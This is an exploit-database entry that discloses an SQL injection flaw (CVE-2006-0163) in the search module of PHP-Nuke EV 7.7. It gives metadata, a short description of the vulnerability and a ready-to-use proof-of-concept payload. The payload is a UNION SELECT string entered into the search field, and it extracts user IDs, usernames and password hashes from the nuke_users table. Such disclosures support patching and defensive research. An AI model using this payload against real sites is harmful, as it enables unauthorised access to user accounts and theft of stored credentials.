PHP-Nuke 7.7 EV Search Module - SQL Injection

Author: Lostmon
type: webapps
platform: php
port: 0
date_added: 2006-01-09
date_updated: 2013-07-24
verified: 1
codes: CVE-2006-0163;OSVDB-22316
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source: https://www.securityfocus.com/bid/16186/info

PHPNuke EV is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

PHPNuke EV version 7.7 is vulnerable; earlier versions may also be affected.

Example proof-of-concept code has been provided:


navigate to http://www.example.com/modules.php?name=Search and type in

s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*